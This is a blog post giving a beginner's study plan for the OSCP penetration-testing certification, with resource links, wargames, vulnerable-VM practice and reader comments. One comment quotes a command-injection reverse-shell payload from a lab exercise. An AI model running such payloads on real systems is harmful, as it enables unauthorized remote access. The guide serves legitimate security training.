Saturday, March 4, 2017

OSCP Prep

How to prepare for PWK/OSCP, a noob-friendly guide

Few months ago, I didn’t know what Bash is, who that root guy people were scared of, and definitely never heard of SSH tunneling. I also didn’t like paying for the PWK lab time without using it, so I went through a number of resources till I felt ready for starting the course.

Warning: Don’t expect to be spoon-fed if you’re doing OSCP, you’ll need to spend a lot of time researching, neither the admins or the other students will give you answers easily.

1. PWK Syllabus

- Linux and Bash
- Basic tools
- Passive Recon
- Active Recon
- Buffer Overflow
- Using public exploits
- File Transfer
- Privilege Escalation
- Client Side Attacks
- Web Application Attacks
- Password Attacks
- Port Redirection/Tunneling
- Metasploit Framework
- Antivirus Bypassing

2. Wargames

- Over The Wire: Bandit
- Over The Wire: Natas

- Root-me.org

3. Vulnerable VMs

---

1. PWK Syllabus:

Simply the most important reference in the list, it shows the course modules in a detailed way. Entire preparation I did was based on it. Can be found here.

Linux and Bash:

You don’t need to use Kali Linux right away, a good alternative is Ubuntu till you get comfortable with Linux.

- `Linux Journey`
- `Bash for Beginners`: Best Bash reference IMO.
- `OverTheWire: Bandit`: Great start for people who aren’t used to using a terminal, aren’t familiar with Bash or other *nix in general. Each challenge gives you hints on which commands you can use, you need to research them.
- `Explainshell`: Does NOT replace man pages, but breaks down commands easily for new comers.

Basic tools:

You will use these tools **a lot**. Make sure you understand what they do and how you can utilize them.

- `Netcat`: Most important tool in the entire course. Understand what it does, what options you have, difference between a reverse shell and a bind shell. Experiment a lot with it.
- `Ncat`: Netcat’s mature brother, supports SSL. Part of Nmap.
- `Wireshark`: Network analysis tool, play with it while browsing the internet, connecting to FTP, read/write PCAP files.
- `TCPdump`: Not all machines have that cute GUI, you could be stuck with a terminal.

Passive Recon:

Read about the following tools/techniques, experiment as much as possible.

- `Google dorks`

- `Whois`
- `Netcraft`
- `Recon-ng`: Make sure you check the Usage guide to know how it works.

Active Recon:

- Understand what DNS is, how it works, how to perform forward and reverse lookup, what zone transfers are and how to perform them. Great resource here.
- Nmap: One of the most used tools during the course (if not the most). I'd recommend to start by reading the man pages, understand different scanning techniques and other capabilities it has (scripts, OS detection, Service detection, …)
- Services enumeration: `SMTP`, `SNMP`, SMB, and a lot others. Don't just enumerate them, understand what they're used for and how they work.
- Great list for enumeration and tools.

Buffer Overflow:

Most fun part in my opinion. There are countless resources on how to get started, I'd recommend Corelan's series. You probably need the first part only for PWK.

Using public exploits:

Occasionally, you'll need to use a public exploit, maybe even modify the shellcode or other parts. Just go to Exploit-db and pick one of the older more reliable exploits (FTP ones for example). The vulnerable version is usually present with the exploit code.

File Transfer:

Not every machine has netcat installed, you'll need to find a way around it to upload exploits or other tools you need. Great post on this is here.

Privilege Escalation:

A never ending topic, there are a lot of techniques, ranging from having an admin password to kernel exploits. Great way to practice this is by using Vulnhub VMs for practice. Check my OSCP-like VMs list here.

Windows:Elevating privileges by exploiting weak folder permissions

Windows: Privilege Escalation Fundamentals
Windows: Windows-Exploit-Suggester
Windows: Privilege Escalation Commands
Linux: Basic Linux Privilege Escalation
Linux: linuxprivchecker.py
Linux: LinEnum
Practical Windows Privilege Escalation
MySQL Root to System Root with UDF

Client Side Attacks:

Try out the techniques provided in Metasploit Unleashed or an IE client side exploit.

Web Application Attacks

Another lengthy subject, understand what XSS is, `SQL injection`, `LFI`, RFI, directory traversal, how to use a proxy like Burp Suite. Solve as much as you can from `OverTheWire: Natas`. It has great examples on Code Injection, Session hijacking and other web vulnerabilities.

Key is research till you feel comfortable.

Password Attacks:

Understand the basics of password attacks, difference between online and offline attacks. How to use `Hydra`, `JTR`, `Medusa`, what rainbow tables are, the list goes on. Excellent post on this topic here.

Port redirection/tunneling:

Not all machines are directly accessible, some are dual homed, connected to an internal network. You'll use such techniques a lot in non-public networks. This post did a great job explaining it.

Metasploit Framework:

Decided to skip this part, but if you still want to study it, check out Metasploit Unleashed course.

Antivirus Bypassing

Skipped this part too. Pretty basic in OSCP.

---

2. Wargames

Consider these a prep for vulnerable machines.

OverTheWire: Bandit

Great start for people who aren’t familiar with Linux or Bash. Check my walkthroughs here.

Over The Wire: Natas

Focused on web application, many challenges aren’t required for OSCP, but it helps for sure. Check my walkthroughs here.

Root-me.org

Has great challenges on privilege escalation, SQL injection, Javascript obfuscation, password cracking and analyzing PCAP files

---

3. Vulnerable Machines

Boot-to-root VMs are excellent for pentesting, you import a VM, run it and start enumerating from your attacking machine. Most of them result in getting root access. Check my post on which machines are the closest to OSCP. Rooting VMs is as important as studying the material. You can’t depend on theoretical knowledge only, yet you still need this knowledge to help you tackle harder machines.

If you still have questions, feel free to comment below or ask on our NetSecFocus slack!

- Abatchy

6 Comments abatchy17.github.io 1 Login

6 Comments abatchy17.github.io 1 Login

♡ Recommend 12 Tweet Share Sort by Best

Join the discussion…

LOG IN WITH

OR SIGN UP WITH DISQUS ?

Name

Rashard Roberts • 4 months ago

I currently using your walk through of Kioptrix level 2 however the reverse bash shell is not working for me. I have tried two different commands to in order to get the reverse bash to start but they both fail. I checked to make sure bash and netcat were running on the server. i just can't figure out why the reverse bash isn't working 127.0.0.1; bash -i >& /dev/tcp/192.168.1.69/443 0>&1.

• Reply • Share ›

Navneet Soni • a year ago

why do we need to use recon-ng tool during the oscp exam?

• Reply • Share ›

gt543pp • a year ago • edited

Bandit/Natas hyperlink is localhost for some reason.

Should be: https://www.abatchy.com/tag...
&
https://www.abatchy.com/tag...

• Reply • Share ›

APTRON SOLUTIONS • 4 months ago

nice course. thanks for sharing this post.
Networking Training in Delhi

^ | v • Reply • Share ›

T3jv1l • a year ago

i have a guestion abaut OSCP ,..They give you some material to learn?

^ | v • Reply • Share ›

tejas zarekar ➦ T3jv1l • a year ago

yeah u get videos and a pdf during your PWK course

^ | v • Reply • Share ›

ALSO ON **ABATCHY17.GITHUB.IO**

Skape's Egg Hunter (null-free/Linux x86)

1 comment • 2 years ago

Avatar **sachin** — Hello there,Thanks for the tutorial. In the following code after calling 'access' system call …

ROT-N Shellcode Encoder/Generator (Linux x86)

1 comment • 2 years ago

Avatar **Belial and Grimoire** — How can I fix this error?, I try to encode a different shell and it works well, but in the …

Kioptrix 2014 (#5) Walkthrough

2 comments • 2 years ago

Avatar **Eric Mur** — I've used Vmware pro and created a virtual network. After setting it up worked perfectly. If …

Shellcode reduction tips (x86)

1 comment • 2 years ago

Avatar **Cami Rodriguez** — Nice, very useful, thanks

✉ Subscribe   Ⓓ Add Disqus to your site   🔒 Disqus' Privacy Policy   DISQUS

Follow @abatchy17

Follow @abatchy17

Categories

- .Net Reversing
- Backdooring
- DefCamp CTF Qualifications 2017
- Exploit Development
- Kernel Exploitation
- Kioptrix series
- Networking
- OSCE Prep
- OSCP Prep
- OverTheWire - Bandit
- OverTheWire - Leviathan
- OverTheWire - Natas
- Powershell
- Programming
- Pwnable.kr

- SLAE
- Shellcoding
- Vulnhub Walkthrough
- boot2root
- rant

Blog Archive

February 2019

- Tips on designing boot2root challenges

January 2018

- [Kernel Exploitation] 7: Arbitrary Overwrite (Win7 x86)
- [Kernel Exploitation] 6: NULL pointer dereference
- [Kernel Exploitation] 5: Integer Overflow
- [Kernel Exploitation] 4: Stack Buffer Overflow (SMEP Bypass)
- [Kernel Exploitation] 3: Stack Buffer Overflow (Windows 7 x86/x64)
- [Kernel Exploitation] 2: Payloads
- [Kernel Exploitation] 1: Setting up the environment

October 2017

- [DefCamp CTF Qualification 2017] Don't net, kids! (Revexp 400)
- [DefCamp CTF Qualification 2017] Buggy Bot (Misc 400)

September 2017

- [Pwnable.kr] Toddler's Bottle: flag
- [Pwnable.kr] Toddler's Bottle: fd, collision, bof
- OverTheWire: Leviathan Walkthrough

August 2017

- [Rant] Is this blog dead?

June 2017

- Exploit Dev 101: Bypassing ASLR on Windows

May 2017

- Exploit Dev 101: Jumping to Shellcode
- Introduction to Manual Backdooring
- Linux/x86 - Disable ASLR Shellcode (71 bytes)
- Analyzing Metasploit linux/x86/shell_bind_tcp_random_port module using Libemu
- Analyzing Metasploit linux/x86/exec module using Ndisasm
- Linux/x86 - Code Polymorphism examples
- Analyzing Metasploit linux/x86/adduser module using GDB
- Analyzing Metasploit linux/x86/adduser module using GDB
- ROT-N Shellcode Encoder/Generator (Linux x86)
- Skape's Egg Hunter (null-free/Linux x86)
- TCP Bind Shell in Assembly (null-free/Linux x86)

April 2017

- Shellcode reduction tips (x86)

March 2017

- LTR Scene 1 Walthrough (Vulnhub)
- Moria v1.1: A Boot2Root VM
- OSCE Study Plan
- Powershell Download File One-Liners
- How to prepare for PWK/OSCP, a noob-friendly guide

February 2017

- OSCP-like Vulnhub VMs
- OSCP: Day 30
- Mr Robot Walkthrough (Vulnhub)

January 2017

- OSCP: Day 6
- OSCP: Day 1
- Port forwarding: A practical hands-on guide

- Kioptrix 2014 (#5) Walkthrough
- Wallaby's Nightmare Walkthrough (Vulnhub)

December 2016

- Kiopritx 1.3 (#4) Walkthrough (Vulnhub)
- Kioptrix 3 Walkthrough (Vulnhub)
- Kioptrix 2 Walkthrough (Vulnhub)
- OverTheWire: Natas 17

November 2016

- OverTheWire: Natas 16
- OverTheWire: Natas 14 and 15
- Kioptrix 1 Walkthrough (Vulnhub)
- PwnLab: init Walkthrough (Vulnhub)
- OverTheWire: Natas 12
- OverTheWire: Natas 11

October 2016

- Vulnix Walthrough (Vulnhub)
- OverTheWire: Natas 6-10
- OverTheWire: Natas 0-5
- OverTheWire: Bandit 21-26
- OverTheWire: Bandit 16-20
- OverTheWire: Bandit 11-15
- OverTheWire: Bandit 6-10
- OverTheWire: Bandit 0-5
- Introduction